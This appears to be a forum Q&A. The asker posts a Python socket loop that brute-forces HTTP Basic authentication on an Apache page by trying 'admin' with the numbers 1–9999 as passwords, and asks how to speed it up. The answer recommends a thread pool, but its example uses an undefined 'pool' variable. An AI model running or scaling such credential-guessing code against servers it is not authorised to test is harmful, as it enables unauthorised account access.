pythonperformancesocketsbrute-force

How to increase the efficiency when repetitively using connect()?


I wish to use a fast brute-force test for Apache authorization, without using urllib or socket lib coding. However, connect() is a very slow task (400/m).

How do I increase the efficiency when repetitively using the connect() function (without a multi-process approach; just at the code level)?

for num in xrange(1,10000):
    s = socket(AF_INET, SOCK_STREAM)
    s.connect((ip,port))
    s.send("HEAD /test.php\nAuthorization: Basic "+b64encode("admin:"+str(num))+"\n\n")
    if '200 OK' in(s.recv(32)) :     
        print 'got password !',str(num)
    s.close()

Solution

  • You can use thread pools. Look at the multiprocessing.pool.ThreadPool package. You can create a pool of size N and then use a the imap_unordered() in a for loop to connect, send, and receive for each thread.

    You can also use multiprocessing.pool.Pool for a pool of processes (versus thread), but it sounds like this will be I/O bound, so the ThreadPool would be better, IMHO.

    For example:

    from multiprocessing.pool import ThreadPool as Pool
    import random
    import time
    
    def do_something(x):
        delay = random.randint(1,3)
        time.sleep(delay)
        return x,delay
    
    for i, result in pool.imap_unordered(do_something, range(10)):
        print i, result